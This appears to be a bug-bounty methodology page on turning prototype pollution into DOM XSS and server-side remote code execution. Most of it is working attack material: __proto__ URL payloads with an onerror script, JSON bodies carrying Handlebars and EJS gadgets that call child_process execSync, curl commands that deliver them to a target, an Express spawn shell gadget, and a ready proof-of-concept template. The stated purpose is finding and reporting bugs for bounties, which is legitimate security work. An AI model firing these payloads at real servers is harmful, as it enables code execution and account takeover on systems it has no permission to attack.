Prototype Pollution to Exploit
Why This Chain Works
Prototype pollution is often reported as low-impact because the researcher stops at "I can write to Object.prototype." That's the entry point, not the finding. What matters is the gadget - some downstream code path that reads a property from an object without owning it, inheriting the attacker-controlled value from the prototype instead. On the client that gadget tends to land in a DOM sink. On the server, the gadgets are in template engines and configuration-reading patterns in Express and its ecosystem, and several of them hand you command execution.
Related: Prototype Pollution, XSS to Account Takeover, Remote Code Execution
Attack Flow
flowchart TD A["Prototype pollution primitive<br/>attacker controls __proto__ or constructor.prototype"] B{"Client or server?"} C["Client-side pollution<br/>via URL params or JSON merge"] D["Server-side pollution<br/>via API body merge/clone"] E["Polluted property<br/>lands in DOM sink"] F["innerHTML, document.write,<br/>eval, setTimeout+string"] G["DOM XSS executes"] H["Gadget in template engine<br/>Handlebars, EJS, Pug, Nunjucks"] I["Gadget in Express/config<br/>reading inherited property"] J["OS command executes<br/>RCE on server"] A --> B B --> C --> E --> F --> G B --> D --> H --> J D --> I --> J style A fill:#cc3333,color:#fff style G fill:#cc3333,color:#fff style J fill:#cc3333,color:#fff
Step-by-Step
1. Confirm the Pollution Primitive
Client-side (URL parameter or hash-based):
In the browser console, test whether a query parameter or URL hash value reaches a merge or deep-assign function:
// Visit: https://target.com/?__proto__[testprop]=polluted
// Then in console:
console.log({}.testprop); // "polluted" if vulnerableServer-side (JSON body merge):
Send a request with a polluted JSON body:
POST /api/settings HTTP/1.1
Content-Type: application/json
{"__proto__":{"testprop":"polluted"}}Or using constructor.prototype:
{"constructor":{"prototype":{"testprop":"polluted"}}}Confirm by checking whether subsequent objects in the process inherit testprop.
2. Client-Side Path - Find a DOM Sink Gadget
Once you can pollute Object.prototype, look for code that reads from an object property without checking own-property first:
// Vulnerable pattern - if 'options' doesn't define 'template', it inherits from prototype
var tpl = options.template || defaultTemplate;
document.getElementById('app').innerHTML = tpl;Common client-side gadgets:
innerHTMLassignment from a config property- jQuery's
$.html()reading from a pollutedhtmlTemplateorhtmlkey location.hrefset from a pollutedredirectUrlkeyeval()orsetTimeout(string)receiving a polluted callback name
DOM XSS via prototype pollution payload:
https://target.com/?__proto__[template]=<img src=x onerror=alert(document.domain)>Then trigger the code path that reads options.template. If the gadget exists, XSS fires.
3. Server-Side Path - Handlebars RCE
Handlebars versions before the 2021 patch are vulnerable. The gadget is in Handlebars' compile function, which reads from prototype-polluted properties during compilation:
// Pollution payload in API body:
{
"__proto__": {
"pendingContent": "<script>process.mainModule.require('child_process').execSync('id')</script>",
"escapeExpression": false
}
}More reliable Handlebars RCE gadget (pre-patch):
{
"__proto__": {
"type": "Program",
"body": [{"type": "MustacheStatement",
"path": {"type": "PathExpression",
"parts": ["constructor"],
"data": false},
"params": [{"type": "StringLiteral",
"value": "return process.mainModule.require('child_process').execSync('id').toString()"}],
"hash": {"type": "Hash", "pairs": []}}]
}
}4. Server-Side Path - EJS RCE
EJS has known prototype pollution gadgets. Polluting outputFunctionName executes arbitrary code during template rendering:
{
"__proto__": {
"outputFunctionName": "x=process.mainModule.require('child_process').execSync('id').toString();s"
}
}Trigger any EJS template render after this pollution and the injected expression executes.
5. Server-Side Path - Node.js / Express Config Gadgets
Some Express middleware and ORMs read configuration from object properties. Pollution can affect:
// Example: a route handler that reads options.shell
app.post('/exec', (req, res) => {
merge(options, req.body); // deep merge user input into options
spawn(command, { shell: options.shell }); // inherits polluted 'shell: true'
});Polluting shell: true on an options object passed to child_process.spawn enables shell injection in the command argument.
6. Confirm Impact
# After the pollution payload reaches the server:
curl -X POST https://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__":{"outputFunctionName":"x=require(\"child_process\").execSync(\"id\").toString();s"}}'
# Then trigger a render:
curl https://target.com/dashboard
# If EJS is used, response should contain: uid=0(root) gid=0(root)PoC Template for Report
Client-side DOM XSS via prototype pollution:
1. Visit: https://target.com/app?__proto__[innerHTML]=<img src=x onerror=alert(origin)>
2. Open browser console: ({}).innerHTML evaluates to the XSS payload
3. Target's app.js calls: container.innerHTML = config.innerHTML || '';
4. XSS executes, alert(origin) shows target.com
Server-side RCE via EJS gadget:
1. POST /api/profile {"__proto__":{"outputFunctionName":"x=require('child_process').execSync('id').toString();s"}}
Response: 200 OK
2. GET /dashboard
Response body contains: uid=33(www-data) gid=33(www-data) groups=33(www-data)
3. Server is running Node.js with EJS template engine - confirmed by X-Powered-By header.Public Reports
- Prototype pollution to RCE in Node.js app via Handlebars gadget - HackerOne #1043752
- Client-side prototype pollution to XSS on Yahoo - HackerOne #986386
- Prototype pollution in jQuery deep merge leading to DOM XSS - HackerOne #885588
- Prototype pollution to RCE via EJS outputFunctionName gadget - HackerOne #1217956
Reporting Notes
Name the gadget in the title. "Prototype Pollution to RCE via EJS outputFunctionName" is triaged faster than "Prototype Pollution." Show the pollution step and the gadget trigger as two separate requests. For server-side RCE, include the id output. For client-side XSS, show that Object.prototype is genuinely polluted before the gadget fires - a console screenshot showing ({}).yourprop === 'polluted' is clean proof.